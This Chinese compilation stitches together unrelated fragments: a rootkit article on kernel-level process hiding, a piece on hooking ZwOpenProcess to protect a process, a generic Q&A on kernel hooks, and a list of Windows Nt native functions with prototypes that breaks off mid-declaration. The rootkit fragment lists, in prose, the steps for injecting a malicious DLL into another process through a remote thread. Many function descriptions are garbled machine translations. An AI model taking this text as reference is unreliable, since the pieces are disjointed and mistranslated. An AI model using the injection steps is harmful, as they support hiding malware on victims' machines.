NT内核级进程隐藏3-线程调度链表及Hook 内核函数
Ring0级Rootkit之进程隐藏与检测技术
Ring0级Rootkit之进程隐藏与检测技术近来自己主机上老是莫名其妙地感染病毒(即在文件夹后默然追加了一个后缀.exe),以前也碰到过这种情形,即只要你点击受感染的office文件,则分区下所有的office文件将全部感染,后来也好好分析过此病毒即“sola病毒”。
起初没有去管这事,后来实在受不了就打算手工清除此病毒。
打开任务管理器,尽然发现了一些诡异进程即由数字和字母构成。
显然其不是正常进程,就运行regedit.exe搜索注册表,尝试搜索此进程,并手工删除了其对应的所有键值。
然后重新查看受感染的分区,发现尽然清除成功。
这才顿悟,这不是sola 病毒,只是某些人写的一个再简单不过的病毒。
引用上面的话,只是想说尽管我们已经谈论并以各种方式实现了不同级别的进程隐藏技术,但很多人却并不知晓编写简单代码,既可躲过任务管理器的进程显示列表。
Jimhotkin 在《Detection of hidden Process》一文中曾指出--估计1000个木马中仅有1个是进程隐藏的。
可见,市面见到的那些简单木马绝大部分出自菜鸟级黑客。
黑客从事的攻击活动需要尽可能部署的尽善尽美,任何一个环节出现弱点,都将是致命的。
这其实等同于网络安全技术,尽管你在多个环节上部署了多层级安全防御措施,但任一环节出现漏洞,则全盘皆输。
言归正传,下面开始谈论进程隐藏与检测技术,尽管进程隐藏技术已经被众多人士讨论过,笔者的目的是想通过此文,尽可能综合当前出现的各种进程隐藏与检测技术。
谈论每种技术实现的特点,及其如何实现,通过代码分析,尽可能全面的讲解ring0下出现的各种进程隐藏与检测技术。
1.进程隐藏技术最早出现的进程隐藏技术,其实可追溯到ring3下的线程注入,即在目标进程上下文中创建一个远程线程,通过此线程注入恶意DLL文件到目标进程中,借助目标进程的运行而被加载。
基本步骤为:(1)用OpenProcess打开目标进程,访问权限Process_VM_Operation or Process_VM_Write;(2)获取kernel32.dll下LoadLibrary地址(3)在指定的目标进程中,调用VirtualAllocEx函数,在目标进程地址空间中开辟一块内存;(4)创建一个远程线程,将恶意DLL文件加载到已分配的内存空间中。
内核层的三种Hook技术的使用
内核层的三种Hook技术的使⽤1.前⾔本⽂是在Win7 X86系统上进⾏实验,实验的内容是在内核层通过三种不同的Hook⽅法来实现进程保护,让运⾏的程序不被其他的程序关闭。
这⾥⽤来被保护的程序是⼀个简单的HelloWord弹窗程序,程序名是demo.exe。
2.实现原理⼀个程序要想关闭⼀个进程,⾸先就要获取这个进程的句柄,并且获得的这个句柄还需要具备进程关闭的访问掩码。
也就是说,在⽤户层我们想要关闭⼀个进程,⾸先就需要使⽤以下的代码来获得⼀个进程的句柄。
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, dwPid);其中第⼀个参数PROCESS_TERMINATE就是让我们获得的进程句柄具有关闭进程的访问掩码,它在⽂档中的定义如下:#define PROCESS_TERMINATE (0x0001)那也就是说,如果HOOK了打开进程的函数,就可以在我们编写的函数中判断所打开的进程是否是我们要保护的进程,以及所要获得的进程句柄是否是要具备进程关闭的访问掩码,如果是的话就把它去掉。
这个时候,程序如果使⽤这个被删除掉进程关闭访问掩码的句柄来关闭进程,就会失败,这就完成了对进程的保护作⽤。
⽽在⽤户层所调⽤的OpenProcess到内核层以后,其实在内核中是调⽤ZwOpenProcess,所以只要在内核中监控这个函数就可以完成实验。
该函数在⽂档中的定义如下:NTSTATUSZwOpenProcess(__out PHANDLE ProcessHandle,__in ACCESS_MASK DesiredAccess,__in POBJECT_ATTRIBUTES ObjectAttributes,__in_opt PCLIENT_ID ClientId);参数2所代表的就是要打开的这个进程要具备的访问掩码,通过对它的判断与修改就可以实现进程保护。
内核 hook 函数 -回复
内核hook 函数-回复什么是内核hook 函数?内核hook 函数是一种在操作系统内核中拦截和修改系统函数、事件或者数据的技术。
通过在内核中插入钩子(hook),程序员可以拦截和修改操作系统的核心功能,从而达到修改系统行为或者增加新的功能的目的。
内核hook 函数通常用于实现系统监控、安全防护、修补漏洞、性能优化等各种目的。
为什么要使用内核hook 函数?内核hook 函数的使用场景非常广泛。
首先,通过内核hook 函数可以实现系统监控和安全防护功能。
例如,可以用内核hook 函数来监控系统调用的参数和返回值,以便检测恶意软件或者不当行为。
其次,内核hook 函数可以修补系统漏洞。
当发现系统存在安全漏洞时,可以通过内核hook 函数来拦截相应的系统函数,并在执行前后进行检查和修复。
此外,内核hook 函数还可以用于性能优化。
通过拦截一些核心函数,可以在执行时进行一些额外的操作,如计算执行时间、统计调用次数等,从而找出系统性能瓶颈。
内核hook 函数的实现方式有哪些?在使用内核hook 函数之前,需要先了解一些实现方式。
常见的内核hook 函数实现方式有以下几种。
1. 静态hook:通过修改操作系统内核的代码来插入钩子。
这种方式需要对操作系统内核进行修改,风险较大,而且对于不同版本的操作系统可能会有兼容性问题。
2. 动态hook:通过动态链接库(DLL)注入的方式来实现内核hook。
这种方式相对来说比较稳定,不需要修改操作系统内核,但需要对目标进程进行注入并执行相应的hook 函数。
3. 驱动程序hook:通过编写内核驱动程序来实现内核hook。
这种方式需要较为深入的操作系统开发知识,并且需要签名驱动程序才能在较新的操作系统版本上运行。
如何编写和使用内核hook 函数?编写和使用内核hook 函数需要具备一定的操作系统开发知识和编程能力。
以下是编写和使用内核hook 函数的一般步骤。
1. 选择合适的实现方式:根据需求和对操作系统的了解,选择合适的内核hook 实现方式。
windows Nt内核函数大全
Nt内核函数大全NtLoadDriver 服务控制管理器加载设备驱动.NtUnloadDriver 服务控制管理器支持卸载指定的驱动程序. NtRegisterNewDevice 加载新驱动文件.NtQueryIntervalProfile 返回数据.NtSetIntervalProfile 指定采样间隔.NtStartProfile 开始取样.NtStopProfile 停止采样.NtSystemDebugControl 实施了一系列的调试器支持的命令. NtRegisterThreadTerminatePort 一个调试登记通知线程终止. NtCreateDebugObject 创建一个调试对象.NtDebugActiveProcess 使调试器附加到一个积极的过程和调试它. NtDebugContinue 允许一个进程,以线程产生了调试事件. NtQueryDebugFilterState 查询调试过滤国家一级的具体组成部分. NtRemoveProcessDebug 停止调试指定的进程.NtSetDebugFilterState 设置调试输出滤波器一级指定的组成部分. NtSetInformationDebugObject 设置属性的调试对象. NtWaitForDebugEvent 等待调试事件的进程正在调试. NtFlushInstructionCache 清空指定进程的指令缓冲区. NtInitiatePowerAction 启动电源事件.NtPowerInformation 获得该系统的电源状态. NtSetThreadExecutionState 设置一个线程的系统电源状态的要求. NtRequestWakeupLatency 设置一个进程唤醒延迟.NtClose 关闭处理任何对象类型.NtDuplicateObject 复制句柄的对象.NtCreateDirectoryObject 创建一个目录中的对象管理器命名空间. NtCreateSymbolicLinkObject 创建一个符号链接的对象管理器命名空间. NtOpenDirectoryObject 打开对象管理器名字空间目录. NtQueryDirectoryObject 用列举的对象位于一个目录对象. NtOpenSymbolicLinkObject 打开一个符号链接对象. NtQuerySymbolicLinkObject 归来的名称,对象,符号链接点.NtQueryObject 查询对象的属性,如它的名字.NtSetInformationObject 树立了一个对象的属性.NtTranslateFilePath 转换的文件路径的格式.NtCreateKey 创建或打开一个注册表项.NtOpenKey 打开一个现有的注册表项.NtDeleteKey 删除注册表项.NtDeleteValueKey 删除价值.NtEnumerateKey 枚举子项中的一个关键.NtEnumerateValueKey 列举了价值的一个关键.NtFlushKey 刷新变化回到注册表在磁盘上.NtInitializeRegistry 获取注册滚动.单参数对这一规定是否安装启动或正常开机. NtNotifyChangeKey 允许一个程序的通知改变某一关键或其子项. NtQueryKey 查询信息的一个关键.NtQueryMultiplValueKey 检索信息多个指定值.NtQueryValueKey 资讯检索指定的值.NtReplaceKey 变化的支持文件的一个关键和其子项,用于备份/恢复. NtSaveKey 保存的内容中的一个关键和子项文件.NtRestoreKey 装载的内容主要从一个指定的文件.NtSetInformationKey 集属性中的一个关键.NtSetValueKey 集相关的数据的价值.NtCreatePort 创建一个港口对象.NtAcceptConnectPort 接受一个端口连接.NtCompleteConnectPort 完成了连接.NtConnectPort 连接一个端口到另一个端口,接受连接. NtImpersonateClientOfPort 线程模拟确定的进程的另一端的一个港口. NtListenPort 侦听端口的连接请求.NtQueryInformationPort 获取信息的一个港口.NtReadRequestData 阅读相关资料港口信息.NtReplyPort 发送一个回复邮件.NtReplyWaitReceivePort 发送一个回复邮件,然后等待传入请求消息. NtReplyWaitReplyPort 发送一个回复邮件,然后等待传入的回复邮件. NtRequestPort 发送请求信息.NtRequestWaitReplyPort 发送请求信息,并等待传入的回复邮件. NtWriteRequestData 填写数据的请求消息.NtSecureConnectPort 创建一个安全的连接端口. NtQueryPortInformationProcess 用于确定某个进程有相关的例外或调试端口. NtAccessCheck 检查当前线程是否已进入一个对象根据其安全描述符. NtAccessCheckAndAuditAlarm 生成相关的审计信息存取检查. NtAdjustGroupsToken 加注或删除群体与象征. NtAdjustPrivilegesToken 启用或禁用特权与象征. NtCloseObjectAuditAlarm 生成审计讯息,指出一个对象被关闭了. NtCreateToken 创建令牌对象.NtDeleteObjectAuditAlarm 产生了审计事件表明,一个对象已删除. NtDuplicateToken 重复象征对象.NtImpersonateThread 允许一个线程假冒身份的其他用户. NtOpenObjectAuditAlarm 产生了审计事件表明,一个物体开幕. NtOpenProcessToken 获得句柄令牌在指定的进程. NtOpenThreadToken 打开的句柄令牌在指定线程.NtPrivilegeCheck 检查,以查看是否有人员令牌已指定特权启用. NtPrivilegeObjectAuditAlarm 生成审核事件记录与特权检查. NtPrivilegedServiceAuditAlarm 生成审计信息表明尝试使用指定的特权. NtQueryInformationToken 获取信息的象征.NtQuerySecurityObject 检索信息的对象的安全设置. NtSetInformationToken 树立了一个象征性的属性.NtSetSecurityObject 设置安全信息的一个对象.NtAccessCheckByType 新的物件具体的安全支持. NtAccessCheckByTypeAndAuditAlarm 新的物件具体的安全支持.NtAccessCheckByTypeResultList 新的物件具体的安全支持. NtFilterToken 新的物件具体的安全支持. NtCompareToken 比较了两个令牌. NtOpenProcessTokenEx 打开一个进程令牌. NtOpenThreadTokenEx 打开一个线程令牌. NtAlertResumeThread 恢复线程.NtAlertThread 发出警报,以一个线程.NtTestAlert 检验是否有线程在等待警报. NtCreateProcess 创建一个新的进程.NtCreateThread 创建一个新线程.NtCurrentTeb 返回一个指针,一个线程环境块. NtDelayExecution 睡眠,暂停一个线程在指定的时间. NtGetContextThread 检索硬件方面的线程. NtSetContextThread 集硬件方面的线程. NtOpenProcess 打开的句柄指定的进程.NtOpenThread 打开的句柄指定的线程. NtQueryInformationProcess 获取一个线程的属性. NtQueueApcThread 程序呼叫到一个线程. NtResumeThread 唤醒暂停线程. NtSetInformationProcess 设置一个进程的属性. NtSetInformationThread 设置一个线程的属性. NtSuspendThread 暂停一个线程的执行. NtTerminateProcess 删除进程.NtTerminateThread 删除线程.NtYieldExecution 原因线程放弃CPU. NtCreateProcessEx 创建一个新的进程. NtResumeProcess 恢复被暂停的进程. NtSuspendProcess 暂停一个进程.NtCancelTimer 取消计时器.NtCreateTimer 创建一个计时器.NtOpenTimer 打开一个计时器对象.NtQueryTimer 查询计时器的属性. NtQueryTimerResolution 查询系统的计时器决议. NtSetTimer 设置一个定时器到期活动. NtSetTimerResolution 设定系统计时器决议. NtQueryPerformanceCounter 查询系统的性能计数器. NtQuerySystemTime 取得当前时间.NtSetSystemTime 设置系统时间.NtGetTickCount 获取系统开机以来时间.NtCreateEvent 创建一个事件对象.NtOpenEvent 打开事件对象.NtClearEvent 清除标志着国家的事件.NtPulseEvent 信号的事件,然后重置它.NtQueryEvent 查询状况的一个事件.NtResetEvent 重置事件向非标志着国家.NtSetEvent 树立了一个活动,标志着国家.NtCreateEventPair 创建一个事件一双.NtOpenEventPair 打开一个事件对.NtSetHighEventPair 集高一半的活动,以表明对国家.NtSetHighWaitLowEventPair 集高一半的活动,以表明对国家和等待低一半,成为示意. NtSetLowEventPair 集低一半的事件对.NtSetLowWaitHighEventPair 集低一半的事件,并等待对高一半将成为标志. NtWaitHighEventPair 等待高一半事件对成为暗示.NtWaitLowEventPair 等待低一半事件对成为暗示.NtCreateMutant 创建一个突变的对象,称为互斥在用户模式.NtOpenMutant 打开一个突变对象,称为互斥用户模式.NtCreateSemaphore 创建一个信号灯对象.NtOpenSemaphore 打开一个信号灯对象.NtQuerySemaphore 查询状态的信号.NtReleaseSemaphore 标志着信号灯.NtSignalAndWaitForSingleObject 等待它标志着一次.NtWaitForMultipleObjects 等待多个对象,成为暗示.NtWaitForSingleObject 等待一个单一的对象,成为暗示.NtCreateKeyedEvent 创建一个输入事件对象.NtOpenKeyedEvent 打开一个名为键控事件对象.NtReleaseKeyedEvent 标志着键控事件对象.NtWaitForKeyedEvent 等待事件成为键控信号.NtAllocateVirtualMemory 分配虚拟内存.NtFreeVirtualMemory 释放虚拟内存.NtQueryVirtualMemory 查询范围的虚拟内存的属性.NtProtectVirtualMemory 集保护的一系列虚拟内存.NtLockVirtualMemory 锁一系列的虚拟内存.NtUnlockVirtualMemory 解锁一系列的虚拟内存.NtReadVirtualMemory 读取范围内的虚拟内存从进程.NtWriteVirtualMemory 写了一系列的虚拟内存从进程.NtFlushVirtualMemory 刷新记忆体映射的记忆体范围的文件在磁盘上.NtCreateSection 创建了一系列的内存支持文件.NtOpenSection 打开一个名为内存映射节对象.NtExtendSection 延长现有的各种虚拟内存支持文件.NtMapViewOfSection 地图一个文件中的虚拟内存.NtUnmapViewOfSection 一部分虚拟内存的支持文件.NtAreMappedFilesTheSame 装载机使用这一有效看看是否一个给定的文件已经被映射到内存中. NtCancelIoFile 取消I/O请求.NtCreateFile 创建或打开一个文件,目录或设备对象.NtCreateIoCompletion 告诉I/O管理器,一个线程希望时得到通知的I/O完成. NtOpenIoCompletion 打开一个名为I/O完成对象.NtSetIoCompletion 树立了一个I/O完成对象的属性.NtQueryIoCompletion 具体信息检索的I/O完成对象.NtRemoveIoCompletion 消除了一个I/O完成回调.NtDeleteFile 删除一个文件对象.NtDeviceIoControlFile 发送IOCTL装置的设备驱动,这是一个打开的文件对象.NtFlushBuffersFile 清除内存中的文件数据到磁盘.NtFsControlFile 发送一个I/O控制IOCTL为代表的公开设备对象.通常用于文件系统有关的特别命令. NtLockFile 锁了一系列文件的同步访问.NtUnlockFile 解锁了一系列文件的同步访问.NtNotifyChangeDirectoryFile 寄存器一个线程希望得到通知时,一个目录的内容发生变化. NtOpenFile 打开一个现有的文件.NtQueryAttributesFile 取得一个文件的属性.NtQueryDirectoryFile 检索目录的内容.NtQueryEaFile 检索文件的扩展属性.NtSetEaFile 集的扩展属性文件.NtQueryFullAttributesFile 获得文件的全部属性.NtQueryInformationFile 检索方面的具体资料的档案.NtSetInformationFile 确定具体的资料档案.NtQueryV olumeInformationFile 检索有关特定磁盘卷.NtSetVolumeInformationFile 集资讯量.NtReadFile 读取数据文件.NtWriteFile 写入数据文件.NtQueryQuotaInformationFile 查询NTFS磁盘配额信息.NtSetQuotaInformationFile 设置NTFS磁盘配额信息.NtQuerySystemInformation 性能计数器注册表中的出口的大量信息可通过这一呼吁. NtSetSystemInformation 各种行政程序使用此功能.NtShutdownSystem 关闭与选择重新启动.NtCreateJobObject 创建一个作业对象.NtOpenJobObject 打开一个作业对象.NtQueryInformationJobObject 撷取资讯作业对象.NtAssignProcessToJobObject 指定一个进程作业对象.NtSetInformationJobObject 树立了一个作业对象的属性.NtTerminateJobObject 终止作业对象,终止其所有相关的进程.NtCreateJobSet 创建了一个集多种就业工作的对象.NTSYSAPINTSTATUSNTAPINtAcceptConnectPort(OUT PHANDLE PortHandle,IN PVOID PortIdentifier,IN PPORT_MESSAGE Message,IN BOOLEAN Accept,IN OUT PPORT_VIEW ServerView OPTIONAL,OUT PREMOTE_PORT_VIEW ClientView OPTIONAL);NTSYSAPINTSTATUSNTAPINtAccessCheck(IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE TokenHandle,IN ACCESS_MASK DesiredAccess,IN PGENERIC_MAPPING GenericMapping,OUT PPRIVILEGE_SET PrivilegeSet,IN PULONG PrivilegeSetLength,OUT PACCESS_MASK GrantedAccess,OUT PBOOLEAN AccessStatus);NTSYSAPINTSTATUSNTAPINtAccessCheckAndAuditAlarm(IN PUNICODE_STRING SubsystemName,IN PVOID HandleId,IN PUNICODE_STRING ObjectTypeName,IN PUNICODE_STRING ObjectName,IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN ACCESS_MASK DesiredAccess,IN PGENERIC_MAPPING GenericMapping,IN BOOLEAN ObjectCreation,OUT PACCESS_MASK GrantedAccess,OUT PBOOLEAN AccessStatus,OUT PBOOLEAN GenerateOnClose);NTSYSAPINTSTATUSNTAPINtAccessCheckByType(IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid,IN HANDLE TokenHandle,IN ULONG DesiredAccess,IN POBJECT_TYPE_LIST ObjectTypeList,IN ULONG ObjectTypeListLength,IN PGENERIC_MAPPING GenericMapping,IN PPRIVILEGE_SET PrivilegeSet,IN PULONG PrivilegeSetLength,OUT PACCESS_MASK GrantedAccess,OUT PULONG AccessStatus);NTSYSAPINTSTATUSNTAPI NtAccessCheckByTypeAndAuditAlarm(IN PUNICODE_STRING SubsystemName,IN PVOID HandleId,IN PUNICODE_STRING ObjectTypeName,IN PUNICODE_STRING ObjectName,IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid,IN ACCESS_MASK DesiredAccess,IN AUDIT_EVENT_TYPE AuditType,IN ULONG Flags,IN POBJECT_TYPE_LIST ObjectTypeList,IN ULONG ObjectTypeListLength,IN PGENERIC_MAPPING GenericMapping,IN BOOLEAN ObjectCreation,OUT PACCESS_MASK GrantedAccess,OUT PULONG AccessStatus,OUT PBOOLEAN GenerateOnClose);NTSYSAPINTSTATUSNTAPINtAccessCheckByTypeResultList(IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid,IN HANDLE TokenHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_TYPE_LIST ObjectTypeList,IN ULONG ObjectTypeListLength,IN PGENERIC_MAPPING GenericMapping,IN PPRIVILEGE_SET PrivilegeSet,IN PULONG PrivilegeSetLength,OUT PACCESS_MASK GrantedAccessList,OUT PULONG AccessStatusList);NTSYSAPINTSTATUSNTAPI NtAccessCheckByTypeResultListAndAuditAlarm( IN PUNICODE_STRING SubsystemName,IN PVOID HandleId,IN PUNICODE_STRING ObjectTypeName,IN PUNICODE_STRING ObjectName,IN PSECURITY_DESCRIPTOR SecurityDescriptor,IN PSID PrincipalSelfSid,IN ACCESS_MASK DesiredAccess,IN AUDIT_EVENT_TYPE AuditType,IN ULONG Flags,IN POBJECT_TYPE_LIST ObjectTypeList,IN ULONG ObjectTypeListLength,IN PGENERIC_MAPPING GenericMapping,IN BOOLEAN ObjectCreation,OUT PACCESS_MASK GrantedAccessList,OUT PULONG AccessStatusList,OUT PULONG GenerateOnClose);NTSYSAPINTSTATUSNTAPI NtAccessCheckByTypeResultListAndAuditAlarmByHandle( IN PUNICODE_STRING SubsystemName,IN PVOID HandleId,IN HANDLE TokenHandle,IN PUNICODE_STRING ObjectTypeName,IN PUNICODE_STRING ObjectName,IN PSECURITY_DESCRIPTOR SecurityDescriptor,IN PSID PrincipalSelfSid,IN ACCESS_MASK DesiredAccess,IN AUDIT_EVENT_TYPE AuditType,IN ULONG Flags,IN POBJECT_TYPE_LIST ObjectTypeList,IN ULONG ObjectTypeListLength,IN PGENERIC_MAPPING GenericMapping,IN BOOLEAN ObjectCreation,OUT PACCESS_MASK GrantedAccessList,OUT PULONG AccessStatusList,OUT PULONG GenerateOnClose);NTSYSAPINTSTATUSNTAPINtAddAtom(IN PWSTR String,IN ULONG StringLength,OUT PUSHORT Atom);NTSYSAPINTSTATUSNTAPINtAddBootEntry(IN PUNICODE_STRING EntryName,IN PUNICODE_STRING EntryValue);NTSYSAPINTSTATUSNTAPINtAddDriverEntry(IN PUNICODE_STRING DriverName,IN PUNICODE_STRING DriverPath);NTSYSAPINTSTATUSNTAPINtAdjustGroupsToken(IN HANDLE TokenHandle,IN BOOLEAN ResetToDefault,IN PTOKEN_GROUPS NewState,IN ULONG BufferLength,OUT PTOKEN_GROUPS PreviousState OPTIONAL,OUT PULONG ReturnLength);NTSYSAPINTSTATUSNTAPINtAdjustPrivilegesToken(IN HANDLE TokenHandle,IN BOOLEAN DisableAllPrivileges,IN PTOKEN_PRIVILEGES NewState,IN ULONG BufferLength,OUT PTOKEN_PRIVILEGES PreviousState OPTIONAL, OUT PULONG ReturnLength OPTIONAL);NTSYSAPINTSTATUSNTAPINtAlertResumeThread(IN HANDLE ThreadHandle,OUT PULONG PreviousSuspendCount OPTIONAL );NTSYSAPINTSTATUSNTAPINtAllocateLocallyUniqueId(OUT PLUID Luid);NTSYSAPINTSTATUSNTAPINtAllocateUserPhysicalPages(IN HANDLE ProcessHandle,IN PULONG NumberOfPages,OUT PULONG PageFrameNumbers);NTSYSAPINTSTATUSNTAPINtAllocateUuids(OUT PLARGE_INTEGER UuidLastTimeAllocated,OUT PULONG UuidDeltaTime,OUT PULONG UuidSequenceNumber,OUT PUCHAR UuidSeed);NTSYSAPINTSTATUSNTAPINtAllocateVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN ULONG ZeroBits,IN OUT PULONG AllocationSize,IN ULONG AllocationType,IN ULONG Protect);NTSYSAPINTSTATUSNTAPINtApphelpCacheControl(IN APPHELPCACHECONTROL ApphelpCacheControl, IN PUNICODE_STRING ApphelpCacheObject);NTSYSAPINTSTATUSNTAPINtAreMappedFilesTheSame(IN PVOID Address1,IN PVOID Address2);NTSYSAPINTSTATUSNTAPINtAssignProcessToJobObject(IN HANDLE JobHandle,IN HANDLE ProcessHandle);NTSYSAPINTSTATUSNTAPINtCallbackReturn(IN PVOID Result OPTIONAL,IN ULONG ResultLength,IN NTSTATUS Status);NTSYSAPINTSTATUSNTAPI NtCancelDeviceWakeupRequest(IN HANDLE DeviceHandle);NTSYSAPINTSTATUSNTAPINtCancelIoFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock );NTSYSAPINTSTATUSNTAPINtCancelTimer(IN HANDLE TimerHandle,OUT PBOOLEAN PreviousState OPTIONAL );NTSYSAPINTSTATUSNTAPINtClearEvent(IN HANDLE EventHandle);NTSYSAPINTSTATUSNTAPINtClose(IN HANDLE Handle);NTSYSAPINTSTATUSNTAPINtCloseObjectAuditAlarm(IN PUNICODE_STRING SubsystemName, IN PVOID HandleId,IN BOOLEAN GenerateOnClose);NTSYSAPINTSTATUSNTAPINtCompactKeys(IN ULONG Length,IN HANDLE Key);NTSYSAPINTSTATUSNTAPINtCompareTokens(IN HANDLE FirstTokenHandle,IN HANDLE SecondTokenHandle,OUT PBOOLEAN IdenticalTokens);NTSYSAPINTSTATUSNTAPINtCompleteConnectPort(IN HANDLE PortHandle);NTSYSAPINTSTATUSNTAPINtCompressKey(IN HANDLE Key);NTSYSAPINTSTATUSNTAPINtConnectPort(OUT PHANDLE PortHandle,IN PUNICODE_STRING PortName,IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT PPORT_VIEW ClientView OPTIONAL,OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, OUT PULONG MaxMessageLength OPTIONAL,IN OUT PVOID ConnectInformation OPTIONAL,IN OUT PULONG ConnectInformationLength OPTIONAL );NTSYSAPINTSTATUSNTAPINtContinue(IN PCONTEXT Context,IN BOOLEAN TestAlert);NTSYSAPINTSTATUSNTAPINtCreateDebugObject(OUT PHANDLE DebugObject,IN ULONG AccessRequired,IN POBJECT_ATTRIBUTES ObjectAttributes,IN BOOLEAN KillProcessOnExit);NTSYSAPINTSTATUSNTAPINtCreateDirectoryObject(OUT PHANDLE DirectoryHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes);NTSYSAPINTSTATUSNTAPINtCreateEvent(OUT PHANDLE EventHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN EVENT_TYPE EventType,IN BOOLEAN InitialState);NTSYSAPINTSTATUSNTAPINtCreateEventPair(OUT PHANDLE EventPairHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes );NTSYSAPINTSTATUSNTAPINtCreateFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PLARGE_INTEGER AllocationSize OPTIONAL, IN ULONG FileAttributes,IN ULONG ShareAccess,IN ULONG CreateDisposition,IN ULONG CreateOptions,IN PVOID EaBuffer OPTIONAL,IN ULONG EaLength);NTSYSAPINTSTATUSNTAPINtCreateIoCompletion(OUT PHANDLE IoCompletionHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN ULONG NumberOfConcurrentThreads);NTSYSAPINTSTATUSNTAPINtCreateJobObject(OUT PHANDLE JobHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes );NTSYSAPINTSTATUSNTAPINtCreateJobSet(IN ULONG Jobs,IN PJOB_SET_ARRAY JobSet,IN ULONG Reserved);NTSYSAPINTSTATUSNTAPINtCreateKey(OUT PHANDLE KeyHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN ULONG TitleIndex,IN PUNICODE_STRING Class OPTIONAL,IN ULONG CreateOptions,OUT PULONG Disposition OPTIONAL);NTSYSAPINTSTATUSNTAPINtCreateKeyedEvent(OUT PHANDLE KeyedEventHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN ULONG Reserved);NTSYSAPINTSTATUSNTAPINtCreateMailslotFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG CreateOptions,IN ULONG InBufferSize,IN ULONG MaxMessageSize,IN PLARGE_INTEGER ReadTimeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtCreateMutant(OUT PHANDLE MutantHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN BOOLEAN InitialOwner);NTSYSAPINTSTATUSNTAPINtCreateNamedPipeFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG ShareAccess,IN ULONG CreateDisposition,IN ULONG CreateOptions,IN BOOLEAN TypeMessage,IN BOOLEAN ReadmodeMessage,IN BOOLEAN Nonblocking,IN ULONG MaxInstances,IN ULONG InBufferSize,IN ULONG OutBufferSize,IN PLARGE_INTEGER DefaultTimeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtCreatePagingFile(IN PUNICODE_STRING FileName,IN PULARGE_INTEGER InitialSize,IN PULARGE_INTEGER MaximumSize,IN ULONG Priority OPTIONAL);NTSYSAPINTSTATUSNTAPINtCreatePort(OUT PHANDLE PortHandle,IN POBJECT_ATTRIBUTES ObjectAttributes,IN ULONG MaxConnectionInfoLength,IN ULONG MaxMessageLength,IN ULONG MaxPoolUsage);NTSYSAPINTSTATUSNTAPINtCreateProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE InheritFromProcessHandle,IN BOOLEAN InheritHandles,IN HANDLE SectionHandle OPTIONAL,IN HANDLE DebugPort OPTIONAL,IN HANDLE ExceptionPort OPTIONAL );NTSYSAPINTSTATUSNTAPINtCreateProcessEx(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE InheritFromProcessHandle,IN ULONG CreateFlags,IN HANDLE SectionHandle OPTIONAL,IN HANDLE DebugObject OPTIONAL,IN HANDLE ExceptionPort OPTIONAL,IN ULONG JobMemberLevel);NTSYSAPINTSTATUSNTAPINtCreateProfile(OUT PHANDLE ProfileHandle,IN HANDLE ProcessHandle,IN PVOID Base,IN ULONG Size,IN ULONG BucketShift,IN PULONG Buffer,IN ULONG BufferLength,IN KPROFILE_SOURCE Source,IN ULONG ProcessorMask);NTSYSAPINTSTATUSNTAPINtCreateSection(IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PLARGE_INTEGER SectionSize OPTIONAL, IN ULONG Protect,IN ULONG Attributes,IN HANDLE FileHandle);NTSYSAPINTSTATUSNTAPINtCreateSemaphore(OUT PHANDLE SemaphoreHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN LONG InitialCount,IN LONG MaximumCount);NTSYSAPINTSTATUSNTAPINtCreateSymbolicLinkObject(OUT PHANDLE SymbolicLinkHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PUNICODE_STRING TargetName);NTSYSAPINTSTATUSNTAPINtCreateThread(OUT PHANDLE ThreadHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN HANDLE ProcessHandle,OUT PCLIENT_ID ClientId,IN PCONTEXT ThreadContext,IN PUSER_STACK UserStack,IN BOOLEAN CreateSuspended);NTSYSAPINTSTATUSNTAPINtCreateTimer(IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN TIMER_TYPE TimerType);NTSYSAPINTSTATUSNTAPINtCreateToken(OUT PHANDLE TokenHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN TOKEN_TYPE Type,IN PLUID AuthenticationId,IN PLARGE_INTEGER 